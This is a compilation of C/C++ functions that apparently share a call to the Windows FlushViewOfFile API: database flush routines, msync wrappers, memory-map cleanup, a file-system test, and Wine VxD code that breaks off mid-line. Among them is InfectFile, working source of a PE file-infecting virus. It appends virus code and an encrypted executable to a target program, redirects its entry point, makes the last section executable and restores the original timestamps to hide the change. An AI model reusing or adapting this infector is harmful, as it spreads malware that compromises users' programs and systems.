void flush() { if (!_view || !_fd) return; scoped_lock lk(*_flushMutex); bool success = FlushViewOfFile(_view, 0); // 0 means whole mapping if (!success) { int err = GetLastError(); out() << "FlushViewOfFile failed " << err << " file: " << _filename << endl; } success = FlushFileBuffers(_fd); if (!success) { int err = GetLastError(); out() << "FlushFileBuffers failed " << err << " file: " << _filename << endl; } }
void flush() { if (!_view || !_fd) return; scoped_lock lk(*_flushMutex); int loopCount = 0; bool success = false; bool timeout = false; int dosError = ERROR_SUCCESS; const int maximumLoopCount = 1000 * 1000; const int maximumTimeInSeconds = 60; Timer t; while ( !success && !timeout && loopCount < maximumLoopCount ) { ++loopCount; success = FALSE != FlushViewOfFile( _view, 0 ); if ( !success ) { dosError = GetLastError(); if ( dosError != ERROR_LOCK_VIOLATION ) { break; } timeout = t.seconds() > maximumTimeInSeconds; } } if ( success && loopCount > 1 ) { log() << "FlushViewOfFile for " << _filename << " succeeded after " << loopCount << " attempts taking " << t.millis() << " ms" << endl; } else if ( !success ) { log() << "FlushViewOfFile for " << _filename << " failed with error " << dosError << " after " << loopCount << " attempts taking " << t.millis() << " ms" << endl; } success = FALSE != FlushFileBuffers(_fd); if (!success) { int err = GetLastError(); out() << "FlushFileBuffers failed " << err << " file: " << _filename << endl; } }
void CDb3Mmap::ConvertEvents() { DBContact dbc = *(DBContact*)DBRead(m_dbHeader.ofsUser, sizeof(DBContact), NULL); ConvertContactEvents(&dbc); DBWrite(m_dbHeader.ofsUser, &dbc, sizeof(dbc)); for (DWORD dwOffset = m_dbHeader.ofsFirstContact; dwOffset != 0;) { DBContact dbc = *(DBContact*)DBRead(dwOffset, sizeof(DBContact), NULL); ConvertContactEvents(&dbc); DBWrite(dwOffset, &dbc, sizeof(dbc)); if (m_contactsMap.find((ConvertedContact*)&dbc.dwContactID) == NULL) m_contactsMap.insert(new ConvertedContact(dwOffset, dbc.dwContactID)); dwOffset = dbc.ofsNext; } FlushViewOfFile(m_pDbCache, 0); }
bool FrUnmapFile(FrFileMapping *fmap) { if (!fmap) return false ; bool success = true ; #if defined(unix) || defined(__linux__) || defined(__GNUC__) success = (munmap(fmap->map_address,fmap->map_length) == 0) ; (void)VALGRIND_MAKE_MEM_NOACCESS(fmap->map_address,fmap->map_length) ; #elif defined(__WINDOWS__) || defined(__NT__) (void)FlushViewOfFile((LPVOID)fmap->map_address,0) ; if (!UnmapViewOfFile((LPVOID)fmap->map_address)) success = false ; CloseHandle(fmap->hMap) ; #endif /* unix, Windows||NT */ FramepaC_num_memmaps-- ; FramepaC_total_memmap_size -= fmap->map_length ; delete fmap ; return success ; }
void DBFlush(int setting) { if(!setting) { log0("nflush1"); if(safetyMode && pDbCache) { if (FlushViewOfFile(pDbCache, 0) == 0) { if (flushFailTick == 0) flushFailTick = GetTickCount(); else if (GetTickCount() - flushFailTick > 5000) DatabaseCorruption(NULL); } else flushFailTick = 0; } log0("nflush2"); return; } KillTimer(NULL,flushBuffersTimerId); flushBuffersTimerId=SetTimer(NULL,flushBuffersTimerId,50,DoBufferFlushTimerProc); }
/*********************************************** Close Close data file PARAM: none RETURN: -1 if error ************************************************/ int CUT_MapFileDataSource::Close() { int rt = UTE_SUCCESS; m_lnSize = m_lnActualSize; // Flush file if(m_lpMapAddress != NULL) if(!FlushViewOfFile(m_lpMapAddress, 0)) rt = -1; // Unmap if(m_lpMapAddress != NULL) { if(!UnmapViewOfFile(m_lpMapAddress)) rt = -1; m_lpMapAddress = NULL; } // Close file mapping if(m_hMapFile != NULL) { if(!CloseHandle(m_hMapFile)) rt = -1; m_hMapFile = NULL; } // Close file if(m_hFile != INVALID_HANDLE_VALUE) { // Set Actual file size if(SetFilePointer(m_hFile, m_lnActualSize.LowPart, (long *)&m_lnActualSize.HighPart, FILE_BEGIN ) == 0xFFFFFFFF && GetLastError() != NO_ERROR) return -1; if(!SetEndOfFile(m_hFile)) return -1; // Close file if(!CloseHandle(m_hFile)) rt = -1; m_hFile = INVALID_HANDLE_VALUE; } return rt; }
void CXMemMapFile::UnMap() { //Close any views which may be open Close(); //unmap the view if (m_lpData != NULL) { FlushViewOfFile(m_lpData, 0); UnmapViewOfFile(m_lpData); m_lpData = NULL; } //remove the file mapping if (m_hMapping != NULL) { CloseHandle(m_hMapping); m_hMapping = NULL; } //close the file system file if its open if (m_hFile != INVALID_HANDLE_VALUE) { CloseHandle(m_hFile); m_hFile = INVALID_HANDLE_VALUE; } //Close the mutex we have been using #if 0 // ----------------------------------------------------------- if (m_hMutex != NULL) { CloseHandle(m_hMutex); m_hMutex = NULL; } #endif // ----------------------------------------------------------- //Reset the remaining member variables m_bReadOnly = TRUE; m_szMappingName[0] = _T('\0'); m_dwLength = 0; }
void bt_mgrclose (BtMgr *mgr) { BtPool *pool; uint slot; // release mapped pages // note that slot zero is never used for( slot = 1; slot < mgr->poolmax; slot++ ) { pool = mgr->pool + slot; if( pool->slot ) #ifdef unix munmap (pool->map, (mgr->poolmask+1) << mgr->page_bits); #else { FlushViewOfFile(pool->map, 0); UnmapViewOfFile(pool->map); CloseHandle(pool->hmap); } #endif } #ifdef unix close (mgr->idx); free (mgr->pool); free (mgr->hash); free (mgr->latch); free (mgr->pooladvise); free (mgr); #else FlushFileBuffers(mgr->idx); CloseHandle(mgr->idx); GlobalFree (mgr->pool); GlobalFree (mgr->hash); GlobalFree (mgr->latch); GlobalFree (mgr); #endif }
/** * Synchronize a mapped region * * This is a wrapper around FlushViewOfFile * * @param addr start address * @param len number of bytes to flush * @param flags sync options -- currently ignored * @return 0 for success, -1 for error */ int msync(char *addr, int len, int flags) { if (FlushViewOfFile(addr, len) == 0) { DWORD error = GetLastError(); /* Try and translate some error codes */ switch (error) { case ERROR_INVALID_PARAMETER: errno = EINVAL; break; case ERROR_WRITE_FAULT: errno = EIO; break; default: errno = EINVAL; break; } return -1; } /* Success */ return 0; }
int uFlushViewOfFile(UMMap m, void *addr, int size, sys_call_error_fun fun) { #ifdef _WIN32 if (FlushViewOfFile(addr, size) == 0) { sys_call_error("FlushViewOfFile"); return -1; } else return 0; #else if (m.to_file) { int res; if (size == 0) size = m.size; if ((res = msync(addr, size, MS_SYNC)) == -1) { sys_call_error("msync"); return res; } else return res; } else return 0; #endif }
void CDataStorage::Flush(void) { FlushViewOfFile(m_pMapFile, m_nSize); // 임의의 시점에 파일에 저장함. }
int InfectFile(char *fname) { HANDLE hfile, hfilemap, haddfile; unsigned int fsize; // file size char *filemap; // pointer inside of the MMF char *filestart; // pointer to MMF start unsigned int retvalue; // this function return value unsigned int fattr; // file attributes unsigned int NumberOfSections; // number of section in PE file unsigned int *EntryPointRVA; // pointer for EntryPoint RVA unsigned int ImageBase; // Image base address unsigned int SectionAlign; // alignment size of sections unsigned int *SizeofImage; // pointer to the SizeOfImage PIMAGE_DATA_DIRECTORY entry_idd;// pointer to the first Data directory char *ImportTable; // Import Table unsigned int ISrva2ofs; // for conversion RVA into file offset (for Import Section) unsigned int *IAT, *HNA; // Import Address Table & Hint Name Address unsigned int *UseT; // eather IAT or HNA char *module_name; // name of IMPORT modul char *virusstart; // file offset where virus should start char kernel32[]="KERNEL32.DLL"; // kernel32.dll char getmodulehandle[]="GetModuleHandleA"; // names char getprocaddress[]="GetProcAddress"; // names unsigned int GetModuleHandleRVA; // RVA adresa virus wil find... unsigned int GetProcAddressRVA; // ...this functions unsigned int i; // local unsigned int raw_virussize; // asm virus code size (without add exe) unsigned int align_virussize; // aligned virus size unsigned int overlay; // overlaya size if there is one FILETIME creation_time, lastacc_time, lastwr_time; #define function_name module_name #ifdef I_TESTMODE testIfile=CreateFile("c:\\k2test_i.dat", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL); WriteFile(testIfile, fname, lstrlen(fname), &Iwritten, NULL); #endif /*** START & FILE PREPARING ***/ // take file attributes and if ReadOnly is set than reset it fattr=GetFileAttributes(fname); // take file attributes if (fattr & FILE_ATTRIBUTE_READONLY) // reset readonly if there is one SetFileAttributes(fname, fattr ^ FILE_ATTRIBUTE_READONLY); // open file hfile=CreateFile(fname, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, fattr, NULL); if (hfile==INVALID_HANDLE_VALUE) {retvalue=0x10; goto end1;} #ifdef I_TESTMODE WriteFile(testIfile, "\r\nopen", 6, &Iwritten, NULL); #endif // get file size fsize=GetFileSize(hfile, NULL); if (fsize>0xFFFFFFFF-VIRUSLEN) {retvalue=0x11; goto end2;} // if file is too big if (fsize<256) {retvalue=0x11; goto end2;} // if file is too small oldfilesize=fsize; // store original file size // save original file time GetFileTime(hfile, &creation_time, &lastacc_time, &lastwr_time); // create MMF (Memory Mapped File object) hfilemap=CreateFileMapping (hfile, NULL, PAGE_READWRITE, 0, fsize+VIRUSLEN, NULL); if (hfilemap==NULL) {retvalue=0x12; goto end2;} // cretae MMF view on whole file filemap=(void *) MapViewOfFile (hfilemap, FILE_MAP_ALL_ACCESS, 0,0,0); if (filemap==NULL) {retvalue=0x13; goto end3;} filestart=filemap; #ifdef I_TESTMODE WriteFile(testIfile, "\r\nmapped", 8, &Iwritten, NULL); #endif // check if file is DOS EXE if (*(unsigned short int *)filemap != IMAGE_DOS_SIGNATURE1) // e_magic == MZ ? if (*(unsigned short int *)filemap != IMAGE_DOS_SIGNATURE2) // e_magic == ZM ? {retvalue=0x101; goto end4;} // not a EXE, get out // move to the PE exe header filemap += ((PIMAGE_DOS_HEADER)filemap)->e_lfanew; // check PE signature if (IsBadCodePtr((FARPROC)filemap)) {retvalue=0x102; goto end4;} if (*(DWORD *)filemap != IMAGE_NT_SIGNATURE) // 'PE00' {retvalue=0x102; goto end4;} // jump over signature: now we are on the top of PE header filemap += sizeof(DWORD); #ifdef I_TESTMODE WriteFile(testIfile, "\r\nPEok", 6, &Iwritten, NULL); #endif /*** GETTING DATA ***/ // get section numbers NumberOfSections = ((PIMAGE_FILE_HEADER)filemap)->NumberOfSections; // jump over PE header and now pointing to the PE Optional header filemap += IMAGE_SIZEOF_FILE_HEADER; // check if file is GUI (not a console exe) if (((PIMAGE_OPTIONAL_HEADER)filemap)->Subsystem != IMAGE_SUBSYSTEM_WINDOWS_GUI) {retvalue=0x103; goto end4;} // store entry point header i=(unsigned int)filemap + 16; // 16 = offset up to EntryPoint EntryPointRVA = (unsigned int *)i; // store ImageBase ImageBase = ((PIMAGE_OPTIONAL_HEADER)filemap)->ImageBase; // store section Alignment SectionAlign = ((PIMAGE_OPTIONAL_HEADER)filemap)->FileAlignment; // get pointer to SizeOfImage i=(unsigned int)filemap + 56; // 56 = offset up to SizeOfImage SizeofImage = (unsigned int *)i; // get pointer to DirectoryData i=(unsigned int)filemap + 96; // 96 = offset up to DirectoryData entry_idd = (PIMAGE_DATA_DIRECTORY) i; // is there a IMPORT section - if not then size==0 if (!(entry_idd[IMAGE_DIRECTORY_ENTRY_IMPORT]).Size) {retvalue=0x105; goto end4;} // jump over PE Optional Header, and now we are pointing at // Section Table begining. This table has NumberOfSections of // Section Headers filemap += sizeof(IMAGE_OPTIONAL_HEADER); #ifdef I_TESTMODE WriteFile(testIfile, "\r\nimport ok", 10, &Iwritten, NULL); #endif /*** FINDING IMPORT SECTION ***/ i=0; ImportTable=NULL; // search whole Section Table for Import Section (contains IT) // also, there is need for last Section Header while (i<NumberOfSections) { #ifdef I_TESTMODE // Section Name wsprintf(_testb, "\r\n%.8s", ((PIMAGE_SECTION_HEADER)filemap)->Name); WriteFile(testIfile, _testb, 10, &Iwritten, NULL); #endif // Is current section IMPORT section? // It checks is VirtualAddress from DirectoryData[IMPORT] // between RVA borders of current section: [VirtualAddress, VirtualAddress+SizeOfRawData). if (!ImportTable) // if IMPORT section still not found if ((entry_idd[IMAGE_DIRECTORY_ENTRY_IMPORT]).VirtualAddress - ((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress < ((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData) { // local ISrva2ofs = (unsigned int) filestart + ((PIMAGE_SECTION_HEADER)filemap)->PointerToRawData - ((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress; // IMPORT section found!, get file offset ImportTable = (char *) ((entry_idd[IMAGE_DIRECTORY_ENTRY_IMPORT]).VirtualAddress + ISrva2ofs); // still have to search for last section... } // next section filemap+=IMAGE_SIZEOF_SECTION_HEADER; // sizeof(IMAGE_SECTION_HEADER); i++; } // error - no IMPORT section if (!ImportTable) {retvalue=0x106; goto end4;} /*** FIND ALL KERNEL32.DLLs ***/ // reset pointers GetModuleHandleRVA=GetProcAddressRVA=0; while (1) { // get DLL name i=((PIMAGE_IMPORT_DESCRIPTOR)ImportTable)->Name; if (i) module_name = (char *) (ISrva2ofs + i); else break; // end, no more DLLs // is DLL name == 'KERNEL32.DLL' if (!lstrcmpi(module_name, kernel32)) { /*** KERNEL32 FOUND - FIND WINAPI FUNCTIONS ***/ // get file offset to IAT i=ISrva2ofs + (unsigned int)((PIMAGE_IMPORT_DESCRIPTOR)ImportTable)->FirstThunk; IAT=(unsigned int*) (i); // get file offset to HNA, if there is one i=((PIMAGE_IMPORT_DESCRIPTOR)ImportTable)->Characteristics; if (i) { i+=ISrva2ofs; HNA=(unsigned int*) (i); } else HNA=0; UseT=IAT; // default: search IAT if (HNA) // if there is HNA (not Borland exe) if (*HNA != *IAT) // if IAT & HNA are not the same UseT=HNA; // then IAT is optimised (Micro$oft), so search HNA // search HNA or IAT for needed functions while (*UseT) { // only ordinal given, continue if ((signed int)(*UseT) < 0) { UseT++; IAT++; continue; } // there is a function name, cause ordinal does not have to exist! i = *UseT + ISrva2ofs; function_name = ((PIMAGE_IMPORT_BY_NAME)i)->Name; #ifdef I_TESTMODE_API WriteFile(testIfile, "\r\n", 2, &Iwritten, NULL); WriteFile(testIfile, function_name, lstrlen(function_name), &Iwritten, NULL); #endif // compare IMPORT function name with 'GetModuleHandleA' if still not found if (!GetModuleHandleRVA) if (!lstrcmpi(function_name, getmodulehandle)) { // found it!, store RVA to IAT [GetModuleHandleA] GetModuleHandleRVA = (unsigned int) IAT - ISrva2ofs; if (GetProcAddressRVA) break; // if both functions founded exit loop } // compare IMPORT function name with 'GetProcAddress' if still not found if (!GetProcAddress) if (!lstrcmpi(function_name, getprocaddress)) { // found it!,store RVA to IAT [GetProcAddress] GetProcAddressRVA = (unsigned int) IAT - ISrva2ofs; if (GetModuleHandleRVA) break; // if both function founded exit loop } // next IMPORT function UseT++; IAT ++; } // while, search is finished // if both function founded exit loop if (GetModuleHandleRVA && GetProcAddressRVA) break; } // go to the next IMPORT library ImportTable += sizeof (IMAGE_IMPORT_DESCRIPTOR); }; if (!GetModuleHandleRVA) // this function not found - critical error! {retvalue=0x108; goto end4;} // if (!GetProcAddressRVA) // this function not found // {retvalue=0x109; goto end4;} // but we can get its address from KERNEL32.DLL #ifdef I_TESTMODE WriteFile(testIfile, "\r\nattach", 8, &Iwritten, NULL); #endif /*** ATTACH FILE ***/ #define viruscode module_name #define temp ISrva2ofs #define j NumberOfSections // open addexe file that will be written too haddfile=CreateFile(addfile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, fattr, NULL); if (haddfile==INVALID_HANDLE_VALUE) {retvalue=0x10A; goto end4;} // take its size and store it addfile_size=GetFileSize(haddfile, NULL); // get filemap back so it point to last section // but! there are sections with PointerToRawData==0 or SizeOfRawData==0 // and they do not really exist in the file do { filemap -= IMAGE_SIZEOF_SECTION_HEADER; temp=((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData; i=((PIMAGE_SECTION_HEADER)filemap)->PointerToRawData; } while ( !temp || !i ); // find file offset where virus should be added. Unfortunatley, // VirtualSize can be 0 (Watcom) so we cant used it i+=temp; if (fsize>i) overlay=fsize-i; else overlay=0; virusstart = filestart + i + overlay; // if there is an overlay, jump over it // calculate asm virus RAW size raw_virussize=&virus_end-&virus_start; // calculate Align size of asm virus + add file align_virussize=(((raw_virussize+addfile_size+overlay)/SectionAlign) + 1) * SectionAlign; // preuzmi pointer na po�etak koda virusa // get pointer to start of virus asm code viruscode=&virus_start; // write into virus RVA+ImageBase WinAPIs addresses ddGetModuleHandleA = GetModuleHandleRVA + ImageBase; ddGetProcAddress = GetProcAddressRVA; if (GetProcAddressRVA) ddGetProcAddress += ImageBase; // Promeni RVA entry pointa na RVA po�etka virusa // Change entry pointa RVA to the RVA of virus start oldEntryPoint=*EntryPointRVA + ImageBase; // save into virus old entry point (RVA + ImageBase) oldEntryPointRVA=*EntryPointRVA; // save into virus only RVA of old entry point j=((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress + temp + overlay; oldEPoffs=(unsigned int) EntryPointRVA - (unsigned int) filestart; // save and pointer where id entry pointa *EntryPointRVA=j; // set new RVA of Entry Point // get last section size and size of whole file oldoffs1=filemap-filestart+16; // store file offset and olddata1=((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData; // old datas ((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData += align_virussize; fsize += align_virussize - overlay; // change last section size (VirtualSize) if <> 0 oldoffs4=filemap-filestart+8; // store fajl offset and olddata4=((PIMAGE_SECTION_HEADER)filemap)->Misc.VirtualSize; // old datas if (olddata4) // set new size if <> 0 ((PIMAGE_SECTION_HEADER)filemap)->Misc.VirtualSize = ((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData; // Change last section size (again) if it exist in DirectoryData. // first we must found what section we are using, like efore oldoffs2=i=0; while (i<IMAGE_NUMBEROF_DIRECTORY_ENTRIES) { if ((entry_idd[i]).VirtualAddress - ((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress < temp) { // section found, save all old datas oldoffs2=(unsigned int) &(entry_idd[i].Size) - (unsigned int) filestart; olddata2=(entry_idd[i]).Size; // change size.... (entry_idd[i]).Size += align_virussize; break; } i++; } // change characteristic of last section (by Jacky Qwerty/29A) oldoffs3=filemap-filestart+36; // store file offset and olddata3=((PIMAGE_SECTION_HEADER)filemap)->Characteristics; // old datas ((PIMAGE_SECTION_HEADER)filemap)->Characteristics = (IMAGE_SCN_MEM_EXECUTE + IMAGE_SCN_MEM_READ + IMAGE_SCN_MEM_WRITE); // Grow SizeOfImage for align_virussize oldoffs5=(unsigned int)SizeofImage-(unsigned int)filestart; olddata5=*SizeofImage; *SizeofImage+=align_virussize; kript=(char) GetTickCount(); // random number for crypting #ifdef I_TESTMODE WriteFile(testIfile, "\r\nwrite", 7, &Iwritten, NULL); #endif /*** WRITING FILE ***/ // Write virus into file for (j=0; j<raw_virussize; j++) virusstart[j]=viruscode[j]; // Write EXE after it virusstart=&virusstart[raw_virussize]; ReadFile(haddfile, virusstart, addfile_size, (LPDWORD) &i, NULL); // Crypt file, always randomly for (j=0; j<addfile_size; j++, kript+=173) virusstart[j]-=kript; // close add exe file CloseHandle(haddfile); /*** REGULAR END ***/ retvalue=0; FlushViewOfFile(filestart,0); // write all changes end4: UnmapViewOfFile(filestart); // close MMF view end3: CloseHandle(hfilemap); // close MMF // Set file size (always!) SetFilePointer(hfile, fsize, NULL, FILE_BEGIN); SetEndOfFile(hfile); // set old file time SetFileTime(hfile, &creation_time, &lastacc_time, &lastwr_time); // set old readonly, if there was one if (fattr & FILE_ATTRIBUTE_READONLY) SetFileAttributes(fname, fattr); end2: CloseHandle(hfile); // close file end1: #ifdef I_TESTMODE WriteFile(testIfile, "\r\nend", 5, &Iwritten, NULL); CloseHandle(testIfile); #endif return retvalue; // return result }
int my_msync(int fd, void *addr, size_t len, int flags) { return FlushViewOfFile(addr, len) ? 0 : -1; }
LFSTRET LfstFileMapping( PLFSTCommand command ) { LFSTRET ret = LFST_SUCC ; BOOL bret ; PrintSubcategoryTitle("File Mapping") ; // // Execute // { LPTSTR ExecFile = TEXT("Lfstsmpl.exe") ; LPTSTR ExecName = TEXT("\\Lfstsmpl.exe") ; // Do not remove back-slash TCHAR DestFileFullPath[MAX_PATH] ; PROCESS_INFORMATION ProcessInfo ; STARTUPINFO StartupInfo ; PrintFunctionTitle("Executing") ; // // make up executable full path. // _tcscpy(DestFileFullPath, command->BaseDir) ; _tcscat(DestFileFullPath, ExecName) ; if(LFST_FLAGON(command->Flags, LFST_VERBOSE)) { _tprintf(TEXT(" Target executable full path:%s\n"), DestFileFullPath) ; PrintFunctionOutput("Copying the executable....\n") ; } bret = CopyFile(ExecFile, DestFileFullPath, FALSE) ; if(!bret) { _tprintf(TEXT("ERROR: could not copy the excutable.\n")) ; } ReturnIfExitFlagOn(bret, command->Flags) ; ZeroMemory(&StartupInfo, sizeof(STARTUPINFO)) ; StartupInfo.cb = sizeof(STARTUPINFO) ; bret = CreateProcess( NULL, DestFileFullPath, NULL, NULL, FALSE, 0, NULL, command->BaseDir, &StartupInfo, &ProcessInfo ) ; PrintPassFail(bret,"CreateProcess()", 1) ; ReturnIfExitFlagOn(bret, command->Flags) ; // // close handles before exit. // if(bret) { CloseHandle(ProcessInfo.hProcess) ; CloseHandle(ProcessInfo.hThread) ; } } // // Memory mapping // { LPTSTR FileName1 = TEXT("Filemap.dat") ; LPTSTR FilePath1 = TEXT("\\Filemap.dat") ; // Do not remove back-slash TCHAR DestFileFullPath[MAX_PATH] ; HANDLE FileHandle ; HANDLE MapHandle ; LPVOID MapAddress ; CHAR WriteData[2] = { 'X', 'X' } ; PrintFunctionTitle("CreateFileMapping() with PAGE_READWRITE") ; // // make up test data full path. // _tcscpy(DestFileFullPath, command->BaseDir) ; _tcscat(DestFileFullPath, FilePath1) ; if(LFST_FLAGON(command->Flags, LFST_VERBOSE)) { _tprintf(TEXT(" Target file full path:%s\n"), DestFileFullPath) ; PrintFunctionOutput("Copying the target....\n") ; } bret = CopyFile(FileName1, DestFileFullPath, FALSE) ; if(!bret) { _tprintf(TEXT("ERROR: could not copy the excutable.\n")) ; } ReturnIfExitFlagOn(bret, command->Flags) ; FileHandle = CreateFile( DestFileFullPath, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ) ; if(FileHandle == NULL || FileHandle == INVALID_HANDLE_VALUE) { bret = FALSE ; } PrintPassFail(bret,"CreateFile()", 1) ; ReturnIfExitFlagOn(bret, command->Flags) ; MapHandle = CreateFileMapping( FileHandle, NULL, PAGE_READWRITE, 0, 0, NULL ) ; if(MapHandle == NULL) { bret = FALSE ; } PrintPassFail(bret,"CreateFileMapping()", 1) ; ReturnIfExitFlagOn(bret, command->Flags) ; MapAddress = MapViewOfFile( MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0 ) ; if(MapAddress == NULL) { bret = FALSE ; } PrintPassFail(bret,"MapViewOfFile()", 1) ; ReturnIfExitFlagOn(bret, command->Flags) ; // // Read! // printf(" Read from the map: %c%c", *((PUCHAR)MapAddress + 0x10), *((PUCHAR)MapAddress + 0x11) ) ; // // Write! // printf(" Write into the map: %c%c\n", WriteData[0], WriteData[1]) ; *((PUCHAR)MapAddress + 0x10) = WriteData[0] ; *((PUCHAR)MapAddress + 0x11) = WriteData[1] ; // // Flush! // bret = FlushViewOfFile(MapAddress, 0) ; PrintPassFail(bret,"FlushViewOfFile()", 1) ; ReturnIfExitFlagOn(bret, command->Flags) ; // // Read again! // printf(" Read again from the map: %c%c\n", *((PUCHAR)MapAddress + 0x10), *((PUCHAR)MapAddress + 0x11) ) ; if(*((PUCHAR)MapAddress + 0x10) != WriteData[0] || *((PUCHAR)MapAddress + 0x11) != WriteData[1] ) { bret = FALSE ; } PrintPassFail(bret,"Direct Operation", 1) ; ReturnIfExitFlagOn(bret, command->Flags) ; // // clean up // UnmapViewOfFile(MapAddress) ; CloseHandle(MapHandle) ; CloseHandle(FileHandle) ; } return ret ; }
__ss_int mmap::flush(__ss_int offset, __ss_int size) { __raise_if_closed(); return __ss_int(FlushViewOfFile(m_begin + offset, __subscript(size))); }
void WINAPI VXD_Win32s( CONTEXT86 *context ) { switch (AX_reg(context)) { case 0x0000: /* Get Version */ /* * Input: None * * Output: EAX: LoWord: Win32s Version (1.30) * HiWord: VxD Version (200) * * EBX: Build (172) * * ECX: ??? (1) * * EDX: Debugging Flags * * EDI: Error Flag * 0 if OK, * 1 if VMCPD VxD not found */ TRACE("GetVersion()\n"); context->Eax = VXD_WinVersion() | (200 << 16); context->Ebx = 0; context->Ecx = 0; context->Edx = 0; context->Edi = 0; /* * If this is the first time we are called for this process, * hack the memory image of WIN32S16 so that it doesn't try * to access the GDT directly ... * * The first code segment of WIN32S16 (version 1.30) contains * an unexported function somewhere between the exported functions * SetFS and StackLinearToSegmented that tries to find a selector * in the LDT that maps to the memory image of the LDT itself. * If it succeeds, it stores this selector into a global variable * which will be used to speed up execution by using this selector * to modify the LDT directly instead of using the DPMI calls. * * To perform this search of the LDT, this function uses the * sgdt and sldt instructions to find the linear address of * the (GDT and then) LDT. While those instructions themselves * execute without problem, the linear address that sgdt returns * points (at least under Linux) to the kernel address space, so * that any subsequent access leads to a segfault. * * Fortunately, WIN32S16 still contains as a fallback option the * mechanism of using DPMI calls to modify LDT selectors instead * of direct writes to the LDT. Thus we can circumvent the problem * by simply replacing the first byte of the offending function * with an 'retf' instruction. This means that the global variable * supposed to contain the LDT alias selector will remain zero, * and hence WIN32S16 will fall back to using DPMI calls. * * The heuristic we employ to _find_ that function is as follows: * We search between the addresses of the exported symbols SetFS * and StackLinearToSegmented for the byte sequence '0F 01 04' * (this is the opcode of 'sgdt [si]'). We then search backwards * from this address for the last occurrence of 'CB' (retf) that marks * the end of the preceeding function. The following byte (which * should now be the first byte of the function we are looking for) * will be replaced by 'CB' (retf). * * This heuristic works for the retail as well as the debug version * of Win32s version 1.30. For versions earlier than that this * hack should not be necessary at all, since the whole mechanism * ('PERF130') was introduced only in 1.30 to improve the overall * performance of Win32s. */ if (!W32S_offset) { HMODULE16 hModule = GetModuleHandle16("win32s16"); SEGPTR func1 = (SEGPTR)GetProcAddress16(hModule, "SetFS"); SEGPTR func2 = (SEGPTR)GetProcAddress16(hModule, "StackLinearToSegmented"); if ( hModule && func1 && func2 && SELECTOROF(func1) == SELECTOROF(func2)) { BYTE *start = MapSL(func1); BYTE *end = MapSL(func2); BYTE *p, *retv = NULL; int found = 0; for (p = start; p < end; p++) if (*p == 0xCB) found = 0, retv = p; else if (*p == 0x0F) found = 1; else if (*p == 0x01 && found == 1) found = 2; else if (*p == 0x04 && found == 2) { found = 3; break; } else found = 0; if (found == 3 && retv) { TRACE("PERF130 hack: " "Replacing byte %02X at offset %04X:%04X\n", *(retv+1), SELECTOROF(func1), OFFSETOF(func1) + retv+1-start); *(retv+1) = (BYTE)0xCB; } } } /* * Mark process as Win32s, so that subsequent DPMI calls * will perform the W32S_APP2WINE/W32S_WINE2APP address shift. */ W32S_offset = 0x10000; break; case 0x0001: /* Install Exception Handling */ /* * Input: EBX: Flat address of W32SKRNL Exception Data * * ECX: LoWord: Flat Code Selector * HiWord: Flat Data Selector * * EDX: Flat address of W32SKRNL Exception Handler * (this is equal to W32S_BackTo32 + 0x40) * * ESI: SEGPTR KERNEL.HASGPHANDLER * * EDI: SEGPTR phCurrentTask (KERNEL.THHOOK + 0x10) * * Output: EAX: 0 if OK */ TRACE("[0001] EBX=%lx ECX=%lx EDX=%lx ESI=%lx EDI=%lx\n", context->Ebx, context->Ecx, context->Edx, context->Esi, context->Edi); /* FIXME */ context->Eax = 0; break; case 0x0002: /* Set Page Access Flags */ /* * Input: EBX: New access flags * Bit 2: User Page if set, Supervisor Page if clear * Bit 1: Read-Write if set, Read-Only if clear * * ECX: Size of memory area to change * * EDX: Flat start address of memory area * * Output: EAX: Size of area changed */ TRACE("[0002] EBX=%lx ECX=%lx EDX=%lx\n", context->Ebx, context->Ecx, context->Edx); /* FIXME */ context->Eax = context->Ecx; break; case 0x0003: /* Get Page Access Flags */ /* * Input: EDX: Flat address of page to query * * Output: EAX: Page access flags * Bit 2: User Page if set, Supervisor Page if clear * Bit 1: Read-Write if set, Read-Only if clear */ TRACE("[0003] EDX=%lx\n", context->Edx); /* FIXME */ context->Eax = 6; break; case 0x0004: /* Map Module */ /* * Input: ECX: IMTE (offset in Module Table) of new module * * EDX: Flat address of Win32s Module Table * * Output: EAX: 0 if OK */ if (!context->Edx || CX_reg(context) == 0xFFFF) { TRACE("MapModule: Initialization call\n"); context->Eax = 0; } else { /* * Structure of a Win32s Module Table Entry: */ struct Win32sModule { DWORD flags; DWORD flatBaseAddr; LPCSTR moduleName; LPCSTR pathName; LPCSTR unknown; LPBYTE baseAddr; DWORD hModule; DWORD relocDelta; }; /* * Note: This function should set up a demand-paged memory image * of the given module. Since mmap does not allow file offsets * not aligned at 1024 bytes, we simply load the image fully * into memory. */ struct Win32sModule *moduleTable = (struct Win32sModule *)W32S_APP2WINE(context->Edx); struct Win32sModule *module = moduleTable + context->Ecx; IMAGE_NT_HEADERS *nt_header = PE_HEADER(module->baseAddr); IMAGE_SECTION_HEADER *pe_seg = PE_SECTIONS(module->baseAddr); HFILE image = _lopen(module->pathName, OF_READ); BOOL error = (image == HFILE_ERROR); UINT i; TRACE("MapModule: Loading %s\n", module->pathName); for (i = 0; !error && i < nt_header->FileHeader.NumberOfSections; i++, pe_seg++) if(!(pe_seg->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)) { DWORD off = pe_seg->PointerToRawData; DWORD len = pe_seg->SizeOfRawData; LPBYTE addr = module->baseAddr + pe_seg->VirtualAddress; TRACE("MapModule: " "Section %d at %08lx from %08lx len %08lx\n", i, (DWORD)addr, off, len); if ( _llseek(image, off, SEEK_SET) != off || _lread(image, addr, len) != len) error = TRUE; } _lclose(image); if (error) ERR("MapModule: Unable to load %s\n", 